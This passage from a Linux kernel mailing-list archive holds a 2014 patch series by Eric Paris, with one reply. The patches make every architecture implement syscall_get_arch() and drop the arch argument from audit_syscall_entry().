--- a/arch/ia64/include/asm/syscall.h
+++ b/arch/ia64/include/asm/syscall.h
@@ -13,6 +13,7 @@
 #ifndef _ASM_SYSCALL_H
 #define _ASM_SYSCALL_H	1
 
+#include <uapi/linux/audit.h>
 #include <linux/sched.h>
 #include <linux/err.h>
 
@@ -79,4 +80,9 @@ static inline void syscall_set_arguments(struct task_struct *task,
 
 	ia64_syscall_get_set_arguments(task, regs, i, n, args, 1);
 }
+
+static inline int syscall_get_arch(void)
+{
+	return AUDIT_ARCH_IA64;
+}
 #endif	/* _ASM_SYSCALL_H */
diff --git a/arch/microblaze/include/asm/syscall.h b/arch/microblaze/include/asm/syscall.h
index 9bc4317..53cfaf3 100644
--- a/arch/microblaze/include/asm/syscall.h
+++ b/arch/microblaze/include/asm/syscall.h
@@ -1,6 +1,7 @@
 #ifndef __ASM_MICROBLAZE_SYSCALL_H
 #define __ASM_MICROBLAZE_SYSCALL_H
 
+#include <uapi/linux/audit.h>
 #include <linux/kernel.h>
 #include <linux/sched.h>
 #include <asm/ptrace.h>
@@ -99,4 +100,8 @@ static inline void syscall_set_arguments(struct task_struct *task,
 asmlinkage long do_syscall_trace_enter(struct pt_regs *regs);
 asmlinkage void do_syscall_trace_leave(struct pt_regs *regs);
 
+static inline int syscall_get_arch(void)
+{
+	return AUDIT_ARCH_MICROBLAZE;
+}
 #endif /* __ASM_MICROBLAZE_SYSCALL_H */
diff --git a/arch/mips/include/asm/syscall.h b/arch/mips/include/asm/syscall.h
index fc556d8..992b6ab 100644
--- a/arch/mips/include/asm/syscall.h
+++ b/arch/mips/include/asm/syscall.h
@@ -103,7 +103,7 @@ extern const unsigned long sysn32_call_table[];
 
 static inline int syscall_get_arch(void)
 {
-	int arch = EM_MIPS;
+	int arch = AUDIT_ARCH_MIPS;
 #ifdef CONFIG_64BIT
 	arch |=  __AUDIT_ARCH_64BIT;
 #endif
diff --git a/arch/openrisc/include/asm/syscall.h b/arch/openrisc/include/asm/syscall.h
index b752bb6..2db9f1c 100644
--- a/arch/openrisc/include/asm/syscall.h
+++ b/arch/openrisc/include/asm/syscall.h
@@ -19,6 +19,7 @@
 #ifndef __ASM_OPENRISC_SYSCALL_H__
 #define __ASM_OPENRISC_SYSCALL_H__
 
+#include <uapi/linux/audit.h>
 #include <linux/err.h>
 #include <linux/sched.h>
 
@@ -71,4 +72,8 @@ syscall_set_arguments(struct task_struct *task, struct pt_regs *regs,
 	memcpy(&regs->gpr[3 + i], args, n * sizeof(args[0]));
 }
 
+static inline int syscall_get_arch(void)
+{
+	return AUDIT_ARCH_OPENRISC;
+}
 #endif
diff --git a/arch/parisc/include/asm/syscall.h b/arch/parisc/include/asm/syscall.h
index 8bdfd2c..a5eba95 100644
--- a/arch/parisc/include/asm/syscall.h
+++ b/arch/parisc/include/asm/syscall.h
@@ -3,6 +3,8 @@
 #ifndef _ASM_PARISC_SYSCALL_H_
 #define _ASM_PARISC_SYSCALL_H_
 
+#include <uapi/linux/audit.h>
+#include <linux/compat.h>
 #include <linux/err.h>
 #include <asm/ptrace.h>
 
@@ -37,4 +39,13 @@ static inline void syscall_get_arguments(struct task_struct *tsk,
 	}
 }
 
+static inline int syscall_get_arch(void)
+{
+	int arch = AUDIT_ARCH_PARISC;
+#ifdef CONFIG_64BIT
+	if (!is_compat_task())
+		arch = AUDIT_ARCH_PARISC64;
+#endif
+	return arch;
+}
 #endif /*_ASM_PARISC_SYSCALL_H_*/
diff --git a/arch/powerpc/include/asm/syscall.h b/arch/powerpc/include/asm/syscall.h
index b54b2ad..4271544 100644
--- a/arch/powerpc/include/asm/syscall.h
+++ b/arch/powerpc/include/asm/syscall.h
@@ -13,6 +13,8 @@
 #ifndef _ASM_SYSCALL_H
 #define _ASM_SYSCALL_H	1
 
+#include <uapi/linux/audit.h>
+#include <linux/compat.h>
 #include <linux/sched.h>
 
 /* ftrace syscalls requires exporting the sys_call_table */
@@ -86,4 +88,14 @@ static inline void syscall_set_arguments(struct task_struct *task,
 	memcpy(&regs->gpr[3 + i], args, n * sizeof(args[0]));
 }
 
+static inline int syscall_get_arch(void)
+{
+	int arch = AUDIT_ARCH_PPC;
+
+#ifdef CONFIG_PPC64
+	if (!is_32bit_task())
+		arch = AUDIT_ARCH_PPC64;
+#endif
+	return arch;
+}
 #endif	/* _ASM_SYSCALL_H */
diff --git a/arch/sparc/include/asm/syscall.h b/arch/sparc/include/asm/syscall.h
index 025a02a..fed3d51 100644
--- a/arch/sparc/include/asm/syscall.h
+++ b/arch/sparc/include/asm/syscall.h
@@ -1,9 +1,11 @@
 #ifndef __ASM_SPARC_SYSCALL_H
 #define __ASM_SPARC_SYSCALL_H
 
+#include <uapi/linux/audit.h>
 #include <linux/kernel.h>
 #include <linux/sched.h>
 #include <asm/ptrace.h>
+#include <asm/thread_info.h>
 
 /*
  * The syscall table always contains 32 bit pointers since we know that the
@@ -124,4 +126,10 @@ static inline void syscall_set_arguments(struct task_struct *task,
 		regs->u_regs[UREG_I0 + i + j] = args[j];
 }
 
+static inline int syscall_get_arch(void)
+{
+	return test_thread_flag(TIF_32BIT) ? AUDIT_ARCH_SPARC
+					   : AUDIT_ARCH_SPARC64;
+}
+
 #endif /* __ASM_SPARC_SYSCALL_H */
diff --git a/include/uapi/linux/audit.h b/include/uapi/linux/audit.h
index 9af01d7..8496cfa 100644
--- a/include/uapi/linux/audit.h
+++ b/include/uapi/linux/audit.h
@@ -343,6 +343,7 @@ enum {
 #define AUDIT_ARCH_IA64		(EM_IA_64|__AUDIT_ARCH_64BIT|__AUDIT_ARCH_LE)
 #define AUDIT_ARCH_M32R		(EM_M32R)
 #define AUDIT_ARCH_M68K		(EM_68K)
+#define AUDIT_ARCH_MICROBLAZE	(EM_MICROBLAZE)
 #define AUDIT_ARCH_MIPS		(EM_MIPS)
 #define AUDIT_ARCH_MIPSEL	(EM_MIPS|__AUDIT_ARCH_LE)
 #define AUDIT_ARCH_MIPS64	(EM_MIPS|__AUDIT_ARCH_64BIT)
-- 
1.8.5.3

--
To unsubscribe from this list: send the line "unsubscribe sparclinux" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Turner <mattst88@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.redhat.security.audit,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.openrisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc
Subject: Re: [PATCH 3/4] ARCH: AUDIT: implement syscall_get_arch for all arches
Date: Wed, 19 Mar 2014 15:19:51 -0700
Lines: 10
Approved: news@gmane.org
Message-ID: <CAEdQ38Ex47GxhN1ZZMu+RETpWs-ENbfCr8v=6iFg9p_QWaa9zw@mail.gmail.com>
References: <1395266643-3139-1-git-send-email-eparis@redhat.com> <1395266643-3139-3-git-send-email-eparis@redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: ger.gmane.org 1395267608 2532 80.91.229.3 (19 Mar 2014 22:20:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 19 Mar 2014 22:20:08 +0000 (UTC)
Cc: linux-audit@redhat.com, linux-ia64@vger.kernel.org,
	microblaze-uclinux@itee.uq.edu.au,
	"linux-mips@linux-mips.org" <linux-mips@linux-mips.org>,
	linux@openrisc.net,
	"linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>,
	linuxppc-dev@lists.ozlabs.org, sparclinux@vger.kernel.org
To: Eric Paris <eparis@redhat.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Mar 19 23:20:17 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WQOqO-0003VN-5V
	for glpp-linux-parisc@plane.gmane.org; Wed, 19 Mar 2014 23:20:16 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756094AbaCSWUO (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 19 Mar 2014 18:20:14 -0400
Original-Received: from mail-qa0-f44.google.com ([209.85.216.44]:44037 "EHLO
	mail-qa0-f44.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754808AbaCSWUM (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 19 Mar 2014 18:20:12 -0400
Original-Received: by mail-qa0-f44.google.com with SMTP id f11so9371351qae.3
        for <multiple recipients>; Wed, 19 Mar 2014 15:20:11 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:in-reply-to:references:from:date:message-id:subject:to
         :cc:content-type;
        bh=rfHQbtXkKKjHkLwkVWDuxjMNpIvA0SMwlxgCQ9nusOc=;
        b=uunlo+XeEMUgytGjhqj32afYlVCdTaUYf5mv/YkTS316F7UyQQqZcLCfHtCh5KiWe7
         td5rZse76ER2BZ9WtI69rzor4uMoaU9Woizj3/AYJuh6LtFjcZ/xvve/nBozPUDV3epX
         lj9wlWPk0+xCxlkS2zrwaxD5rQ7A0dyTrl/XPSyu4QOLYKtaRZ7DgDvpdrpBTI8Rhjlo
         vV3adxJO9LRN48Eq7bckNnZ/j1DZ3Q/b6RHueN3CyH3jKzYHmbrjNsICY1E1+2uW7LtM
         EyGKEmUdMGkuFByyV99bPX23IrOdD4lJCEk0T8IdRhHevEVugckM8/zvhkwNfHHwTz/7
         PWBg==
X-Received: by 10.140.16.198 with SMTP id 64mr32388066qgb.10.1395267611909;
 Wed, 19 Mar 2014 15:20:11 -0700 (PDT)
Original-Received: by 10.229.207.65 with HTTP; Wed, 19 Mar 2014 15:19:51 -0700 (PDT)
In-Reply-To: <1395266643-3139-3-git-send-email-eparis@redhat.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5730 gmane.linux.redhat.security.audit:6086 gmane.linux.ports.ia64:23702 gmane.linux.ports.mips.general:40656 gmane.linux.ports.openrisc:436 gmane.linux.ports.ppc64.devel:100271 gmane.linux.ports.sparc:18777
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5730>

On Wed, Mar 19, 2014 at 3:04 PM, Eric Paris <eparis@redhat.com> wrote:
> For all arches which support audit implement syscall_get_arch()

support audit -- is that AUDIT_ARCH? If so, alpha gained support
recently, so I think this patch needs to handle alpha too?
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Eric Paris <eparis@redhat.com>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.redhat.security.audit,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.openrisc,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.uml.devel
Subject: [PATCH 4/4] ARCH: AUDIT: audit_syscall_entry() should not require the arch
Date: Wed, 19 Mar 2014 18:04:03 -0400
Lines: 381
Approved: news@gmane.org
Message-ID: <1395266643-3139-4-git-send-email-eparis@redhat.com>
References: <1395266643-3139-1-git-send-email-eparis@redhat.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1395269944 29025 80.91.229.3 (19 Mar 2014 22:59:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 19 Mar 2014 22:59:04 +0000 (UTC)
Cc: Eric Paris <eparis@redhat.com>, linux-alpha@vger.kernel.org,
        linux-arm-kernel@lists.infradead.org, linux-ia64@vger.kernel.org,
        microblaze-uclinux@itee.uq.edu.au, linux-mips@linux-mips.org,
        linux@openrisc.net, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-s390@vger.kernel.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        user-mode-linux-devel@lists.sourceforge.net,
        linux-xtensa@linux-xtensa.org, x86@kernel.org
To: linux-audit@redhat.com
Original-X-From: linux-mips-bounce@linux-mips.org Wed Mar 19 23:59:11 2014
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from marvin.linux-mips.org ([78.24.191.183] helo=git.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1WQPS1-00009p-4w
	for sgi-linux-mips@gmane.org; Wed, 19 Mar 2014 23:59:09 +0100
Original-Received: from localhost.localdomain ([127.0.0.1]:39657 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S6842534AbaCSW7GxHGSg (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Wed, 19 Mar 2014 23:59:06 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Wed, 19 Mar 2014 23:58:52 +0100 (CET)
Original-Received: from mx1.redhat.com ([209.132.183.28]:25973 "EHLO mx1.redhat.com"
        rhost-flags-OK-OK-OK-OK) by eddie.linux-mips.org with ESMTP
        id S6823162AbaCSW6slTG0f (ORCPT <rfc822;linux-mips@linux-mips.org>);
        Wed, 19 Mar 2014 23:58:48 +0100
Original-Received: from int-mx12.intmail.prod.int.phx2.redhat.com (int-mx12.intmail.prod.int.phx2.redhat.com [10.5.11.25])
        by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s2JM4MJf014666
        (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
        Wed, 19 Mar 2014 18:04:22 -0400
Original-Received: from paris.rdu.redhat.com (paris.rdu.redhat.com [10.13.136.28])
        by int-mx12.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s2JM4Bpb016082;
        Wed, 19 Mar 2014 18:04:20 -0400
In-Reply-To: <1395266643-3139-1-git-send-email-eparis@redhat.com>
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.25
X-archive-position: 39515
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: eparis@redhat.com
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:40657 gmane.linux.redhat.security.audit:6087 gmane.linux.ports.alpha:2246 gmane.linux.ports.arm.kernel:310631 gmane.linux.ports.ia64:23703 gmane.linux.ports.openrisc:437 gmane.linux.ports.parisc:5731 gmane.linux.ports.ppc64.devel:100275 gmane.linux.ports.sh.devel:33705 gmane.linux.ports.sparc:18778 gmane.linux.uml.devel:14399
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/40657>

We have a function where the arch can be queried, syscall_get_arch().
So rather than have every single piece of arch specific code use and/or
duplicate syscall_get_arch(), just have the audit code use the
syscall_get_arch() code.

Signed-off-by: Eric Paris <eparis@redhat.com>
Cc: linux-alpha@vger.kernel.org
Cc: linux-arm-kernel@lists.infradead.org
Cc: linux-ia64@vger.kernel.org
Cc: microblaze-uclinux@itee.uq.edu.au
Cc: linux-mips@linux-mips.org
Cc: linux@lists.openrisc.net
Cc: linux-parisc@vger.kernel.org
Cc: linuxppc-dev@lists.ozlabs.org
Cc: linux-s390@vger.kernel.org
Cc: linux-sh@vger.kernel.org
Cc: sparclinux@vger.kernel.org
Cc: user-mode-linux-devel@lists.sourceforge.net
Cc: linux-xtensa@linux-xtensa.org
Cc: x86@kernel.org
---
 arch/alpha/kernel/ptrace.c      |  2 +-
 arch/arm/kernel/ptrace.c        |  4 ++--
 arch/ia64/kernel/ptrace.c       |  2 +-
 arch/microblaze/kernel/ptrace.c |  3 +--
 arch/mips/kernel/ptrace.c       |  4 +---
 arch/openrisc/kernel/ptrace.c   |  3 +--
 arch/parisc/kernel/ptrace.c     |  9 +++------
 arch/powerpc/kernel/ptrace.c    |  7 ++-----
 arch/s390/kernel/ptrace.c       |  4 +---
 arch/sh/kernel/ptrace_32.c      | 14 +-------------
 arch/sh/kernel/ptrace_64.c      | 17 +----------------
 arch/sparc/kernel/ptrace_64.c   |  9 ++-------
 arch/um/kernel/ptrace.c         |  3 +--
 arch/x86/kernel/ptrace.c        |  8 ++------
 arch/x86/um/asm/ptrace.h        |  4 ----
 arch/xtensa/kernel/ptrace.c     |  2 +-
 include/linux/audit.h           |  7 ++++---
 17 files changed, 25 insertions(+), 77 deletions(-)

diff --git a/arch/alpha/kernel/ptrace.c b/arch/alpha/kernel/ptrace.c
index 86d8351..d9ee817 100644
--- a/arch/alpha/kernel/ptrace.c
+++ b/arch/alpha/kernel/ptrace.c
@@ -321,7 +321,7 @@ asmlinkage unsigned long syscall_trace_enter(void)
 	if (test_thread_flag(TIF_SYSCALL_TRACE) &&
 	    tracehook_report_syscall_entry(current_pt_regs()))
 		ret = -1UL;
-	audit_syscall_entry(AUDIT_ARCH_ALPHA, regs->r0, regs->r16, regs->r17, regs->r18, regs->r19);
+	audit_syscall_entry(regs->r0, regs->r16, regs->r17, regs->r18, regs->r19);
 	return ret ?: current_pt_regs()->r0;
 }
 
diff --git a/arch/arm/kernel/ptrace.c b/arch/arm/kernel/ptrace.c
index 0dd3b79..c9d2b34 100644
--- a/arch/arm/kernel/ptrace.c
+++ b/arch/arm/kernel/ptrace.c
@@ -943,8 +943,8 @@ asmlinkage int syscall_trace_enter(struct pt_regs *regs, int scno)
 	if (test_thread_flag(TIF_SYSCALL_TRACEPOINT))
 		trace_sys_enter(regs, scno);
 
-	audit_syscall_entry(AUDIT_ARCH_ARM, scno, regs->ARM_r0, regs->ARM_r1,
-			    regs->ARM_r2, regs->ARM_r3);
+	audit_syscall_entry(scno, regs->ARM_r0, regs->ARM_r1, regs->ARM_r2,
+			    regs->ARM_r3);
 
 	return scno;
 }
diff --git a/arch/ia64/kernel/ptrace.c b/arch/ia64/kernel/ptrace.c
index b7a5fff..6f54d51 100644
--- a/arch/ia64/kernel/ptrace.c
+++ b/arch/ia64/kernel/ptrace.c
@@ -1219,7 +1219,7 @@ syscall_trace_enter (long arg0, long arg1, long arg2, long arg3,
 		ia64_sync_krbs();
 
 
-	audit_syscall_entry(AUDIT_ARCH_IA64, regs.r15, arg0, arg1, arg2, arg3);
+	audit_syscall_entry(regs.r15, arg0, arg1, arg2, arg3);
 
 	return 0;
 }
diff --git a/arch/microblaze/kernel/ptrace.c b/arch/microblaze/kernel/ptrace.c
index 39cf508..bb10637 100644
--- a/arch/microblaze/kernel/ptrace.c
+++ b/arch/microblaze/kernel/ptrace.c
@@ -147,8 +147,7 @@ asmlinkage long do_syscall_trace_enter(struct pt_regs *regs)
 		 */
 		ret = -1L;
 
-	audit_syscall_entry(EM_MICROBLAZE, regs->r12, regs->r5, regs->r6,
-			    regs->r7, regs->r8);
+	audit_syscall_entry(regs->r12, regs->r5, regs->r6, regs->r7, regs->r8);
 
 	return ret ?: regs->r12;
 }
diff --git a/arch/mips/kernel/ptrace.c b/arch/mips/kernel/ptrace.c
index 65ba622..c06bb82 100644
--- a/arch/mips/kernel/ptrace.c
+++ b/arch/mips/kernel/ptrace.c
@@ -671,9 +671,7 @@ asmlinkage void syscall_trace_enter(struct pt_regs *regs)
 	if (unlikely(test_thread_flag(TIF_SYSCALL_TRACEPOINT)))
 		trace_sys_enter(regs, regs->regs[2]);
 
-	audit_syscall_entry(syscall_get_arch(),
-			    regs->regs[2],
-			    regs->regs[4], regs->regs[5],
+	audit_syscall_entry(regs->regs[2], regs->regs[4], regs->regs[5],
 			    regs->regs[6], regs->regs[7]);
 }
 
diff --git a/arch/openrisc/kernel/ptrace.c b/arch/openrisc/kernel/ptrace.c
index 71a2a0c..4f59fa4 100644
--- a/arch/openrisc/kernel/ptrace.c
+++ b/arch/openrisc/kernel/ptrace.c
@@ -187,8 +187,7 @@ asmlinkage long do_syscall_trace_enter(struct pt_regs *regs)
 		 */
 		ret = -1L;
 
-	audit_syscall_entry(AUDIT_ARCH_OPENRISC, regs->gpr[11],
-			    regs->gpr[3], regs->gpr[4],
+	audit_syscall_entry(regs->gpr[11], regs->gpr[3], regs->gpr[4],
 			    regs->gpr[5], regs->gpr[6]);
 
 	return ret ? : regs->gpr[11];
diff --git a/arch/parisc/kernel/ptrace.c b/arch/parisc/kernel/ptrace.c
index e842ee2..7481457 100644
--- a/arch/parisc/kernel/ptrace.c
+++ b/arch/parisc/kernel/ptrace.c
@@ -276,14 +276,11 @@ long do_syscall_trace_enter(struct pt_regs *regs)
 
 #ifdef CONFIG_64BIT
 	if (!is_compat_task())
-		audit_syscall_entry(AUDIT_ARCH_PARISC64,
-			regs->gr[20],
-			regs->gr[26], regs->gr[25],
-			regs->gr[24], regs->gr[23]);
+		audit_syscall_entry(regs->gr[20], regs->gr[26], regs->gr[25],
+				    regs->gr[24], regs->gr[23]);
 	else
 #endif
-		audit_syscall_entry(AUDIT_ARCH_PARISC,
-			regs->gr[20] & 0xffffffff,
+		audit_syscall_entry(regs->gr[20] & 0xffffffff,
 			regs->gr[26] & 0xffffffff,
 			regs->gr[25] & 0xffffffff,
 			regs->gr[24] & 0xffffffff,
diff --git a/arch/powerpc/kernel/ptrace.c b/arch/powerpc/kernel/ptrace.c
index 2e3d2bf..524a943 100644
--- a/arch/powerpc/kernel/ptrace.c
+++ b/arch/powerpc/kernel/ptrace.c
@@ -1788,14 +1788,11 @@ long do_syscall_trace_enter(struct pt_regs *regs)
 
 #ifdef CONFIG_PPC64
 	if (!is_32bit_task())
-		audit_syscall_entry(AUDIT_ARCH_PPC64,
-				    regs->gpr[0],
-				    regs->gpr[3], regs->gpr[4],
+		audit_syscall_entry(regs->gpr[0], regs->gpr[3], regs->gpr[4],
 				    regs->gpr[5], regs->gpr[6]);
 	else
 #endif
-		audit_syscall_entry(AUDIT_ARCH_PPC,
-				    regs->gpr[0],
+		audit_syscall_entry(regs->gpr[0],
 				    regs->gpr[3] & 0xffffffff,
 				    regs->gpr[4] & 0xffffffff,
 				    regs->gpr[5] & 0xffffffff,
diff --git a/arch/s390/kernel/ptrace.c b/arch/s390/kernel/ptrace.c
index e65c91c..2e2e7bb5 100644
--- a/arch/s390/kernel/ptrace.c
+++ b/arch/s390/kernel/ptrace.c
@@ -812,9 +812,7 @@ asmlinkage long do_syscall_trace_enter(struct pt_regs *regs)
 	if (unlikely(test_thread_flag(TIF_SYSCALL_TRACEPOINT)))
 		trace_sys_enter(regs, regs->gprs[2]);
 
-	audit_syscall_entry(is_compat_task() ?
-				AUDIT_ARCH_S390 : AUDIT_ARCH_S390X,
-			    regs->gprs[2], regs->orig_gpr2,
+	audit_syscall_entry(regs->gprs[2], regs->orig_gpr2,
 			    regs->gprs[3], regs->gprs[4],
 			    regs->gprs[5]);
 out:
diff --git a/arch/sh/kernel/ptrace_32.c b/arch/sh/kernel/ptrace_32.c
index 668c816..c1a6b89 100644
--- a/arch/sh/kernel/ptrace_32.c
+++ b/arch/sh/kernel/ptrace_32.c
@@ -484,17 +484,6 @@ long arch_ptrace(struct task_struct *child, long request,
 	return ret;
 }
 
-static inline int audit_arch(void)
-{
-	int arch = EM_SH;
-
-#ifdef CONFIG_CPU_LITTLE_ENDIAN
-	arch |= __AUDIT_ARCH_LE;
-#endif
-
-	return arch;
-}
-
 asmlinkage long do_syscall_trace_enter(struct pt_regs *regs)
 {
 	long ret = 0;
@@ -513,8 +502,7 @@ asmlinkage long do_syscall_trace_enter(struct pt_regs *regs)
 	if (unlikely(test_thread_flag(TIF_SYSCALL_TRACEPOINT)))
 		trace_sys_enter(regs, regs->regs[0]);
 
-	audit_syscall_entry(audit_arch(), regs->regs[3],
-			    regs->regs[4], regs->regs[5],
+	audit_syscall_entry(regs->regs[3], regs->regs[4], regs->regs[5],
 			    regs->regs[6], regs->regs[7]);
 
 	return ret ?: regs->regs[0];
diff --git a/arch/sh/kernel/ptrace_64.c b/arch/sh/kernel/ptrace_64.c
index af90339..5cea973 100644
--- a/arch/sh/kernel/ptrace_64.c
+++ b/arch/sh/kernel/ptrace_64.c
@@ -504,20 +504,6 @@ asmlinkage int sh64_ptrace(long request, long pid,
 	return sys_ptrace(request, pid, addr, data);
 }
 
-static inline int audit_arch(void)
-{
-	int arch = EM_SH;
-
-#ifdef CONFIG_64BIT
-	arch |= __AUDIT_ARCH_64BIT;
-#endif
-#ifdef CONFIG_CPU_LITTLE_ENDIAN
-	arch |= __AUDIT_ARCH_LE;
-#endif
-
-	return arch;
-}
-
 asmlinkage long long do_syscall_trace_enter(struct pt_regs *regs)
 {
 	long long ret = 0;
@@ -536,8 +522,7 @@ asmlinkage long long do_syscall_trace_enter(struct pt_regs *regs)
 	if (unlikely(test_thread_flag(TIF_SYSCALL_TRACEPOINT)))
 		trace_sys_enter(regs, regs->regs[9]);
 
-	audit_syscall_entry(audit_arch(), regs->regs[1],
-			    regs->regs[2], regs->regs[3],
+	audit_syscall_entry(regs->regs[1], regs->regs[2], regs->regs[3],
 			    regs->regs[4], regs->regs[5]);
 
 	return ret ?: regs->regs[9];
diff --git a/arch/sparc/kernel/ptrace_64.c b/arch/sparc/kernel/ptrace_64.c
index c13c9f2..9ddc492 100644
--- a/arch/sparc/kernel/ptrace_64.c
+++ b/arch/sparc/kernel/ptrace_64.c
@@ -1076,13 +1076,8 @@ asmlinkage int syscall_trace_enter(struct pt_regs *regs)
 	if (unlikely(test_thread_flag(TIF_SYSCALL_TRACEPOINT)))
 		trace_sys_enter(regs, regs->u_regs[UREG_G1]);
 
-	audit_syscall_entry((test_thread_flag(TIF_32BIT) ?
-			     AUDIT_ARCH_SPARC :
-			     AUDIT_ARCH_SPARC64),
-			    regs->u_regs[UREG_G1],
-			    regs->u_regs[UREG_I0],
-			    regs->u_regs[UREG_I1],
-			    regs->u_regs[UREG_I2],
+	audit_syscall_entry(regs->u_regs[UREG_G1], regs->u_regs[UREG_I0],
+			    regs->u_regs[UREG_I1], regs->u_regs[UREG_I2],
 			    regs->u_regs[UREG_I3]);
 
 	return ret;
diff --git a/arch/um/kernel/ptrace.c b/arch/um/kernel/ptrace.c
index 694d551..62435ef 100644
--- a/arch/um/kernel/ptrace.c
+++ b/arch/um/kernel/ptrace.c
@@ -165,8 +165,7 @@ static void send_sigtrap(struct task_struct *tsk, struct uml_pt_regs *regs,
  */
 void syscall_trace_enter(struct pt_regs *regs)
 {
-	audit_syscall_entry(HOST_AUDIT_ARCH,
-			    UPT_SYSCALL_NR(&regs->regs),
+	audit_syscall_entry(UPT_SYSCALL_NR(&regs->regs),
 			    UPT_SYSCALL_ARG1(&regs->regs),
 			    UPT_SYSCALL_ARG2(&regs->regs),
 			    UPT_SYSCALL_ARG3(&regs->regs),
diff --git a/arch/x86/kernel/ptrace.c b/arch/x86/kernel/ptrace.c
index 7461f50..46dfba6 100644
--- a/arch/x86/kernel/ptrace.c
+++ b/arch/x86/kernel/ptrace.c
@@ -1488,15 +1488,11 @@ long syscall_trace_enter(struct pt_regs *regs)
 		trace_sys_enter(regs, regs->orig_ax);
 
 	if (IS_IA32)
-		audit_syscall_entry(AUDIT_ARCH_I386,
-				    regs->orig_ax,
-				    regs->bx, regs->cx,
+		audit_syscall_entry(regs->orig_ax, regs->bx, regs->cx,
 				    regs->dx, regs->si);
 #ifdef CONFIG_X86_64
 	else
-		audit_syscall_entry(AUDIT_ARCH_X86_64,
-				    regs->orig_ax,
-				    regs->di, regs->si,
+		audit_syscall_entry(regs->orig_ax, regs->di, regs->si,
 				    regs->dx, regs->r10);
 #endif
 
diff --git a/arch/x86/um/asm/ptrace.h b/arch/x86/um/asm/ptrace.h
index 54f8102..e59eef2 100644
--- a/arch/x86/um/asm/ptrace.h
+++ b/arch/x86/um/asm/ptrace.h
@@ -47,8 +47,6 @@ struct user_desc;
 
 #ifdef CONFIG_X86_32
 
-#define HOST_AUDIT_ARCH AUDIT_ARCH_I386
-
 extern int ptrace_get_thread_area(struct task_struct *child, int idx,
                                   struct user_desc __user *user_desc);
 
@@ -57,8 +55,6 @@ extern int ptrace_set_thread_area(struct task_struct *child, int idx,
 
 #else
 
-#define HOST_AUDIT_ARCH AUDIT_ARCH_X86_64
-
 #define PT_REGS_R8(r) UPT_R8(&(r)->regs)
 #define PT_REGS_R9(r) UPT_R9(&(r)->regs)
 #define PT_REGS_R10(r) UPT_R10(&(r)->regs)
diff --git a/arch/xtensa/kernel/ptrace.c b/arch/xtensa/kernel/ptrace.c
index 562fac6..4d54b48 100644
